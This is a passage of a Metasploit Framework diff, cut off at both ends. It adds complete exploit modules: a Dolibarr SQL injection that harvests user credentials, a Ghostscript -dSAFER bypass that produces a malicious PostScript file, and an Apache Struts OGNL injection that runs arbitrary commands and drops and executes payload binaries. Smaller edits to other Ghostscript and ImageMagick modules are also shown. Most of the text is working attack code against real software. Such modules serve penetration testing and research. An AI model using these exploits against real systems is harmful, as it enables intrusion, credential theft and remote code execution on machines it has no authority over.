|
||||
def run
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -42,7 +42,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -41,7 +41,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_error("CHALLENGE syntax must match 00112233445566778899AABBCCDDEEFF")
|
||||
return
|
||||
end
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,115 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dolibarr List Creds',
|
||||
'Description' => %q{
|
||||
This module enables an authenticated user to collect the usernames and encrypted passwords of other users in the Dolibarr ERP/CRM via SQL injection.
|
||||
},
|
||||
'Author' => [
|
||||
'Issam Rabhi', # PoC
|
||||
'Kevin Locati', # PoC
|
||||
'Shelby Pace', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2018-10094' ],
|
||||
[ 'EDB', '44805']
|
||||
],
|
||||
'DisclosureDate' => "May 30 2018"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
|
||||
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check_availability
|
||||
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(login_page)
|
||||
)
|
||||
|
||||
return false unless res && res.body.include?('Dolibarr')
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def login(response)
|
||||
return false unless response
|
||||
|
||||
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
|
||||
cookies = response.get_cookies
|
||||
print_status("Logging in...")
|
||||
|
||||
login_res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => login_uri,
|
||||
'cookie' => cookies,
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'loginfunction' => 'loginfunction'
|
||||
}
|
||||
)
|
||||
|
||||
unless login_res && login_res.body.include?('id="mainmenua_members"')
|
||||
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
|
||||
end
|
||||
|
||||
print_good("Successfully logged into Dolibarr")
|
||||
return cookies
|
||||
end
|
||||
|
||||
def get_info(cookies)
|
||||
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
|
||||
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
|
||||
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
|
||||
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
|
||||
inject_uri <<= cmd
|
||||
|
||||
inject_res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(inject_uri),
|
||||
'cookie' => cookies
|
||||
)
|
||||
|
||||
unless inject_res && inject_res.body.include?('id="searchFormList"')
|
||||
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
|
||||
end
|
||||
|
||||
print_good("Accessed credentials")
|
||||
format_results(inject_res.body)
|
||||
end
|
||||
|
||||
def format_results(output)
|
||||
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
|
||||
|
||||
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
|
||||
|
||||
credentials.each do |i, j|
|
||||
print_good("#{j} #{i}")
|
||||
store_valid_credential(user: j, private: i)
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
available_res = check_availability
|
||||
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
|
||||
|
||||
cookies = login(available_res)
|
||||
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
|
||||
|
||||
get_info(cookies)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
PLACEHOLDER_STRING = 'metasploit'
|
||||
PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ghostscript Failed Restore Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a -dSAFER bypass in Ghostscript to execute
|
||||
arbitrary commands by handling a failed restore (grestore) in
|
||||
PostScript to disable LockSafetyParams and avoid invalidaccess.
|
||||
|
||||
This vulnerability is reachable via libraries such as ImageMagick,
|
||||
and this module provides the latest vector for Ghostscript.
|
||||
|
||||
For previous Ghostscript vectors, please see the following modules:
|
||||
exploit/unix/fileformat/ghostscript_type_confusion
|
||||
exploit/unix/fileformat/imagemagick_delegate
|
||||
},
|
||||
'Author' => [
|
||||
'Tavis Ormandy', # Vuln discovery and exploit
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-16509'],
|
||||
['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
|
||||
],
|
||||
'DisclosureDate' => 'Aug 21 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux', 'win'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Unix (In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
|
||||
],
|
||||
['PowerShell (In-Memory)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :psh_memory
|
||||
],
|
||||
['Linux (Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
sploit = template
|
||||
|
||||
# Replace our placeholder string with a random one
|
||||
sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
|
||||
|
||||
# Replace our test payload with the real one
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
|
||||
when :psh_memory
|
||||
psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
|
||||
|
||||
# XXX: Payload space applies to the payload, not the PSH command
|
||||
if psh.length > targets[0].payload_space
|
||||
fail_with(Failure::BadConfig, 'Please choose a smaller payload')
|
||||
end
|
||||
|
||||
sploit.sub!(PLACEHOLDER_COMMAND, psh)
|
||||
when :linux_dropper
|
||||
cmdstager = generate_cmdstager(
|
||||
linemax: targets[0].payload_space,
|
||||
temp: datastore['WritableDir']
|
||||
).join(';')
|
||||
|
||||
# XXX: Payload space applies to the payload, not the command stager
|
||||
if cmdstager.length > targets[0].payload_space
|
||||
fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
|
||||
end
|
||||
|
||||
sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
|
||||
end
|
||||
|
||||
file_create(sploit)
|
||||
end
|
||||
|
||||
def template
|
||||
File.read(File.join(
|
||||
Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,390 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
|
||||
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a remote code execution vulnerability in Apache Struts
|
||||
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
|
||||
via an endpoint that makes use of a redirect action.
|
||||
|
||||
Native payloads will be converted to executables and dropped in the
|
||||
server's temp dir. If this fails, try a cmd/* payload, which won't
|
||||
have to write to the disk.
|
||||
},
|
||||
#TODO: Is that second paragraph above still accurate?
|
||||
'Author' => [
|
||||
'Man Yue Mo', # Discovery
|
||||
'hook-s3c', # PoC
|
||||
'asoto-r7', # Metasploit module
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-11776'],
|
||||
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
|
||||
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
|
||||
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Automatic detection', {
|
||||
'Platform' => %w{ unix windows linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
[
|
||||
'Windows', {
|
||||
'Platform' => %w{ windows },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
[
|
||||
'Linux', {
|
||||
'Platform' => %w{ unix linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
|
||||
},
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
|
||||
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
|
||||
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
|
||||
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
|
||||
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
|
||||
ognl = "#_memberAccess['allowStaticMethodAccess']"
|
||||
|
||||
resp = send_struts_request(ognl)
|
||||
|
||||
# If vulnerable, the server should return an HTTP 302 (Redirect)
|
||||
# and the 'Location' header should contain either 'true' or 'false'
|
||||
if resp && resp.headers['Location']
|
||||
output = resp.headers['Location']
|
||||
vprint_status("Redirected to: #{output}")
|
||||
if (output.include? '/true/')
|
||||
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
|
||||
datastore['ENABLE_STATIC'] = false
|
||||
CheckCode::Vulnerable
|
||||
elsif (output.include? '/false/')
|
||||
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
|
||||
datastore['ENABLE_STATIC'] = true
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
elsif resp && resp.code==400
|
||||
# METHOD 2: Generate two random numbers, ask the target to add them together.
|
||||
# If it does, it's vulnerable.
|
||||
a = rand(10000)
|
||||
b = rand(10000)
|
||||
c = a+b
|
||||
|
||||
ognl = "#{a}+#{b}"
|
||||
|
||||
resp = send_struts_request(ognl)
|
||||
|
||||
if resp.headers['Location'].include? c.to_s
|
||||
vprint_status("Redirected to: #{resp.headers['Location']}")
|
||||
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
|
||||
datastore['ENABLE_STATIC'] = false
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
case payload.arch.first
|
||||
when ARCH_CMD
|
||||
resp = execute_command(payload.encoded)
|
||||
else
|
||||
resp = send_payload()
|
||||
end
|
||||
end
|
||||
|
||||
def encode_ognl(ognl)
|
||||
# Check and fail if the command contains the follow bad characters:
|
||||
# ';' seems to terminates the OGNL statement
|
||||
# '/' causes the target to return an HTTP/400 error
|
||||
# '\' causes the target to return an HTTP/400 error (sometimes?)
|
||||
# '\r' ends the GET request prematurely
|
||||
# '\n' ends the GET request prematurely
|
||||
|
||||
# TODO: Make sure the following line is uncommented
|
||||
bad_chars = %w[; \\ \r \n] # and maybe '/'
|
||||
bad_chars.each do |c|
|
||||
if ognl.include? c
|
||||
print_error("Bad OGNL request: #{ognl}")
|
||||
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
|
||||
end
|
||||
end
|
||||
|
||||
# The following list of characters *must* be encoded or ORNL will asplode
|
||||
encodable_chars = { "%": "%25", # Always do this one first. :-)
|
||||
" ": "%20",
|
||||
"\"":"%22",
|
||||
"#": "%23",
|
||||
"'": "%27",
|
||||
"<": "%3c",
|
||||
">": "%3e",
|
||||
"?": "%3f",
|
||||
"^": "%5e",
|
||||
"`": "%60",
|
||||
"{": "%7b",
|
||||
"|": "%7c",
|
||||
"}": "%7d",
|
||||
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
|
||||
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
|
||||
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
|
||||
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
|
||||
}
|
||||
|
||||
encodable_chars.each do |k,v|
|
||||
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
|
||||
ognl.gsub!("#{k}","#{v}")
|
||||
end
|
||||
return ognl
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, payload: nil)
|
||||
=begin #badchar-checking code
|
||||
pre = ognl
|
||||
=end
|
||||
|
||||
ognl = "${#{ognl}}"
|
||||
vprint_status("Submitted OGNL: #{ognl}")
|
||||
ognl = encode_ognl(ognl)
|
||||
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
|
||||
if payload
|
||||
vprint_status("Embedding payload of #{payload.length} bytes")
|
||||
headers[datastore['HEADER']] = payload
|
||||
end
|
||||
|
||||
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
|
||||
uri = "/#{ognl}/#{datastore['ACTION']}"
|
||||
|
||||
resp = send_request_cgi(
|
||||
#'encode' => true, # this fails to encode '\', which is a problem for me
|
||||
'uri' => uri,
|
||||
'method' => datastore['HTTPMethod'],
|
||||
'headers' => headers
|
||||
)
|
||||
|
||||
if resp && resp.code == 404
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
|
||||
end
|
||||
|
||||
=begin #badchar-checking code
|
||||
print_status("Response code: #{resp.code}")
|
||||
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
|
||||
if resp.headers['Location']
|
||||
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
|
||||
if resp.headers['Location'].split('/')[1] == pre[1..-2]
|
||||
print_good("GOT 'EM!")
|
||||
else
|
||||
print_error(" #{pre[1..-2]}")
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
def profile_target
|
||||
# Use OGNL to extract properties from the Java environment
|
||||
|
||||
properties = { 'os.name': nil, # e.g. 'Linux'
|
||||
'os.arch': nil, # e.g. 'amd64'
|
||||
'os.version': nil, # e.g. '4.4.0-112-generic'
|
||||
'user.name': nil, # e.g. 'root'
|
||||
#'user.home': nil, # e.g. '/root' (didn't work in testing)
|
||||
'user.language': nil, # e.g. 'en'
|
||||
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
|
||||
}
|
||||
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|('#{rand_text_alpha(2)}')|
|
||||
properties.each do |k,v|
|
||||
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
|
||||
end
|
||||
ognl = ognl[0...-4]
|
||||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
if r.code == 400
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
|
||||
elsif r.headers['Location']
|
||||
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
|
||||
# Extract the OGNL output from the Location path, and strip the two random chars
|
||||
s = r.headers['Location'].split('/')[1][2..-1]
|
||||
|
||||
if s.nil?
|
||||
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
|
||||
# But we didn't get any output, so we can't profile the target. Abort.
|
||||
return nil
|
||||
end
|
||||
|
||||
# Confirm that all fields were returned, and non include extra (:) delimiters
|
||||
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
|
||||
if s.count(':') > properties.length
|
||||
print_error("Failed to profile target. Response from server: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
|
||||
end
|
||||
|
||||
# Separate the colon-delimited properties and store in the 'properties' hash
|
||||
s = s.split(':')
|
||||
i = 0
|
||||
properties.each do |k,v|
|
||||
properties[k] = s[i]
|
||||
i += 1
|
||||
end
|
||||
|
||||
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
|
||||
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
|
||||
return properties
|
||||
else
|
||||
print_error("Failed to profile target. Response from server: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
|
||||
if (os.include? 'linux') || (os.include? 'nix')
|
||||
cmd = "{'sh','-c','#{cmd_input}'}"
|
||||
elsif os.include? 'win'
|
||||
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
|
||||
else
|
||||
vprint_error("Failed to detect target OS. Attempting to execute command directly")
|
||||
cmd = cmd_input
|
||||
end
|
||||
|
||||
# The following OGNL will run arbitrary commands on Windows and Linux
|
||||
# targets, as well as returning STDOUT and STDERR. In my testing,
|
||||
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
|
||||
|
||||
vprint_status("Executing: #{cmd}")
|
||||
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
|
||||
ognl << %q|(#p.redirectErrorStream(true)).|
|
||||
ognl << %q|(#process=#p.start()).|
|
||||
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
|
||||
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
|
||||
ognl << %q|(#r.flush())|
|
||||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
if r && r.code == 200
|
||||
print_good("Command executed:\n#{r.body}")
|
||||
elsif r
|
||||
if r.body.length == 0
|
||||
print_status("Payload sent, but no output provided from server.")
|
||||
elsif r.body.length > 0
|
||||
print_error("Failed to run command. Response from server: #{r.to_s}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
|
||||
data_header = datastore['HEADER']
|
||||
if data_header.empty?
|
||||
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
|
||||
end
|
||||
|
||||
random_filename = datastore['TEMPFILE']
|
||||
|
||||
# d = data stream from HTTP header
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
ognl << %q|(#s.close()).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#p.start()).|
|
||||
ognl << %q|(#f.delete()).|
|
||||
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
|
||||
exe = [generate_payload_exe].pack("m").delete("\n")
|
||||
r = send_struts_request(ognl, payload: exe)
|
||||
|
||||
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
|
||||
print_good("Payload successfully dropped and executed.")
|
||||
elsif r && r.headers['Location']
|
||||
vprint_error("RESPONSE: " + r.headers['Location'])
|
||||
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
|
||||
elsif r && r.code == 400
|
||||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -110,7 +110,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'ctype' => 'application/xml',
|
||||
'data' => xstream_payload(cmd)
|
||||
)
|
||||
|
|
|
@ -10,14 +10,17 @@ class MetasploitModule < Msf::Exploit
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a type confusion vulnerability in Ghostscript that can
|
||||
be exploited to obtain arbitrary command execution. This vulnerability affects
|
||||
Ghostscript version 9.21 and earlier and can be exploited through libraries
|
||||
Ghostscript versions 9.21 and earlier and can be exploited through libraries
|
||||
such as ImageMagick and Pillow.
|
||||
|
||||
For more recent Ghostscript vectors, please see the following modules:
|
||||
exploit/multi/fileformat/ghostscript_failed_restore
|
||||
},
|
||||
'Author' => [
|
||||
'Author' => [
|
||||
'Atlassian Security Team', # Vulnerability discovery
|
||||
'hdm' # Metasploit module
|
||||
],
|
||||
|
@ -28,30 +31,20 @@ class MetasploitModule < Msf::Exploit
|
|||
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
|
||||
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
|
||||
],
|
||||
'DisclosureDate' => 'Apr 27 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic netcat bash-tcp'
|
||||
}
|
||||
'DisclosureDate' => 'Apr 27 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'BadChars' => "\x22\x27\x5c)(" # ", ', \, (, and )
|
||||
},
|
||||
'Targets' => [
|
||||
'Targets' => [
|
||||
['EPS file', template: 'msf.eps']
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
||||
'LHOST' => Rex::Socket.source_address,
|
||||
'DisablePayloadHandler' => false,
|
||||
'WfsDelay' => 9001
|
||||
},
|
||||
'Notes' => {
|
||||
'AKA' => [ 'ghostbutt' ]
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'AKA' => [ 'ghostbutt' ]
|
||||
}
|
||||
))
|
||||
|
||||
|
|
|
@ -22,7 +22,12 @@ class MetasploitModule < Msf::Exploit
|
|||
|
||||
The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
|
||||
(discovered by taviso) to achieve RCE in the Ghostscript delegate.
|
||||
Ghostscript versions 9.18 and later are affected.
|
||||
Ghostscript versions 9.18 and later are affected. This target is
|
||||
provided as is and will not be updated to track additional vulns.
|
||||
|
||||
For more recent Ghostscript vectors, please see the following modules:
|
||||
exploit/multi/fileformat/ghostscript_failed_restore
|
||||
exploit/unix/fileformat/ghostscript_type_confusion
|
||||
|
||||
If USE_POPEN is set to true, a |-prefixed command will be used for the
|
||||
exploit. No delegates are involved in this exploitation.
|
||||
|
@ -30,6 +35,7 @@ class MetasploitModule < Msf::Exploit
|
|||
'Author' => [
|
||||
'stewie', # Vulnerability discovery
|
||||
'Nikolay Ermishkin', # Vulnerability discovery
|
||||
'Tavis Ormandy', # Vulnerability discovery
|
||||
'wvu', # Metasploit module
|
||||
'hdm' # Metasploit module
|
||||
],
|
||||
|
@ -41,7 +47,8 @@ class MetasploitModule < Msf::Exploit
|
|||
%w{URL http://seclists.org/oss-sec/2016/q3/682},
|
||||
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
|
||||
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
|
||||
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
|
||||
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669},
|
||||
%w{AKA ImageTragick}
|
||||
],
|
||||
'DisclosureDate' => 'May 3 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
])
|
||||
end
|
||||
|
||||
def pdfdoc
|
||||
def get_pdf
|
||||
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
|
||||
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
|
||||
fname << '.exe' unless fname.ends_with?('.exe')
|
||||
|
@ -84,140 +84,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
